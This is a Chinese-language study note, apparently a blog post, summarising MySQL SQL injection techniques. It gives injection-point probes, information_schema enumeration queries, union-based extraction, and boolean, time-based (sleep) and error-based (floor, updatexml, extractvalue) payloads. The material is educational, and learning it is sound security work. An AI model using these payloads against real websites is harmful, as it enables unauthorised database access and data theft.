SQL注入總結·


MySQL數(shù)據(jù)庫初始的數(shù)據(jù)庫有:

information_schema,mysql,performance_schema與test。


SQL注入難點:盲注,延時注入,文件導出;

在有些瀏覽器中,可以使用'--+'進行注釋但不能使用'#';

SQL注入實質:就我自己而言所理解的SQL注入是注入的內容與前面的SQL語句重新構造成一個新的SQL語句來完成自己的需求。

SQL注入剛開始時要判斷是否有注入點;

常用的判斷方法(url):

/?id=1--+

/?id=1'--+

/?id=1"--+

/?id=1')--+

/?id=0' or 1=1--+

/?id=1' and 1=0--+

常用函數(shù):

1. version()——MySQL 版本

2. user()——數(shù)據(jù)庫用戶名

3. database()——數(shù)據(jù)庫名

4. @@datadir——數(shù)據(jù)庫路徑

5. @@version_compile_os——操作系統(tǒng)版本

常用連接函數(shù):

1. concat(str1,str2,...)——沒有分隔符地連接字符串

2. concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串

3. group_concat(str1,str2,...)——連接一個組的所有字符串,并以逗號分隔每一條數(shù)據(jù)


排序(order by)

如果我們需要對讀取的數(shù)據(jù)進行排序,我們就可以使用 MySQL 的order by子句來設定你想按哪個字段哪種方式來進行排序,再返回搜索結果

order by使用:

你可以使用任何字段來作為排序的條件,從而返回排序后的查詢結果。

?默認情況下,它是按升序排列。

你可以添加 WHERE...LIKE 子句來設置條件。

聯(lián)合查詢:

union操作符:

union操作符用于合并兩個或多個select語句的結果集。

union內部的select語句必須擁有相同數(shù)量的列。列也必須擁有相似的數(shù)據(jù)類型。

每條select語句中的列的順序必須相同。

多個select語句會刪除重復的數(shù)據(jù)。

聯(lián)合查詢需要建立在有顯示位的基礎上。輸入id=0(-1)的原因是如果輸入一個有意義的值,那么網頁就會返回一個相應的值,這時,它會覆蓋后面聯(lián)合查詢出的結果,所以要用一個無意義的值來避免覆蓋。我們在知道顯示位的時候可以在相應的位置寫入希望查詢的語句。

查詢函數(shù):

group_concat:將數(shù)據(jù)呈一行顯示,有的時候數(shù)據(jù)過多沒辦法使用的時候可以用limit來對輸出的數(shù)據(jù)進行限制。

db_name:你想查找的數(shù)據(jù)庫的名字

tb_name:你想查找的數(shù)據(jù)表的名字

col_name:你想查找的字段的名字(字段=列)

常用查詢語句:

查詢所有數(shù)據(jù)庫名:

select group_concat(schema_name) from information_schema.schemata

查詢當前數(shù)據(jù)庫:
select database();

查詢數(shù)據(jù)庫的所有數(shù)據(jù)表:

select group_concat(table_name) from information_schema.tables where table_schema='db_name'

查詢字段名:

1.select group_concat(column_name) from infromation_schema.columns where table_schema='db_name' and table_name='tb_name'

2.Select column_name from information_schema.columns where table_name='dbname'

查詢數(shù)據(jù):select group_concat(col_name) from db_name.tb_name

盲注

盲注的分類:

基于布爾 SQL 盲注

基于時間的 SQL 盲注

基于報錯的 SQL 盲注

盲注常用的函數(shù):

mid()函數(shù)

mid(string,start,length)

mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位


substr()函數(shù)

substr(string,start,length)

substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。Ascii()將某個字符轉換為 ascii 值


left()函數(shù)

left(string,length)

left(database(),1)>’s’?????????? //database()顯示數(shù)據(jù)庫名稱,left(a,b)從左側截取 a 的前 b 位


string:規(guī)定要返回的字符串。

start:規(guī)定在字符串的何處開始(初始值為1)。

length:規(guī)定被返回字符串的長度(可以省略,若省略則返回剩余所有文本)。

在比較的時候可以直接使用單引號>‘s’,也可以先轉換位ascii碼的形式再進行比較。

布爾盲注的原理是根據(jù)頁面返回的是true還是false來判斷比較的字母是否正確。例如,如果數(shù)據(jù)庫的第一個字母在ASCII表中小于與100相對應的字母,那么就會返回正常情況下的成功頁面;如果不小于的話,就會返回錯誤的頁面。


報錯注入:

報錯注入也是盲注的一種,應該為基于盲注的報錯注入。目的是構造 payload 讓信息通過錯誤提示回顯出來。

常用報錯方式:

floor報錯:

▲and (select 1 from(select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)?

floor()函數(shù)原本為向下取整,其中rand()函數(shù)為隨機數(shù)生成,不能于order by共用,數(shù)據(jù)記錄必須有兩條以上

▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))

a from information_schema.columns group by a;

▲select count(*) from information_schema.tables group by concat(version(),

floor(rand(0)*2))

▲select count(*) from (select 1 union select null unionselect !1) group by concat(version(),floor(rand(0)*2))

此處有三個點,一是需要 concat 計數(shù),二是 floor,取得 0 or 1,進行數(shù)據(jù)的重復,三是 group by 進行分組,但具體原理解釋不是很通,大致原理為分組后數(shù)據(jù)計數(shù)時重復造成的錯誤。

updatexml報錯:

and updatexml(1,payload,1)

語句對payload的返回類型做了限制,只有在payload返回的不是xml格式才會生效,查詢時使用的concat()函數(shù)是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現(xiàn)格式錯誤,出現(xiàn)查詢結果。

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

//mysql 對 xml 數(shù)據(jù)進行查詢和修改的 xpath 函數(shù),xpath 語法錯誤

extractvalue()報錯:

and extractvalue(1, payload)

其中payload是想要輸入的查詢子句。

extractvalue(1,concat(0x7e,(select @@version),0x7e))

//mysql 對 xml 數(shù)據(jù)進行查詢和修改的 xpath 函數(shù),xpath 語法錯誤


報錯注入我使用的并不熟練,在此感謝大佬的文章SQL注入大法 - 簡書


延時注入

sleep(n):網頁延遲n秒輸出結果;

if(a,b,c):if判斷句,a為條件,b、c為執(zhí)行語句;如果a為真就執(zhí)行b,a為假就執(zhí)行c;

length(database()):返回當前數(shù)據(jù)庫名長度;

If(ascii(substr(database(),1,1))>115,0,sleep(5))--+

//if 判斷語句,條件為假,執(zhí)行 sleep


以上所述只是簡單的基礎操作,在實際的SQL注入中還有許多需要注意的問題。

如:導入導出,寬字節(jié)注入……

但基礎操作和中心思想卻沒有大的變化。

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容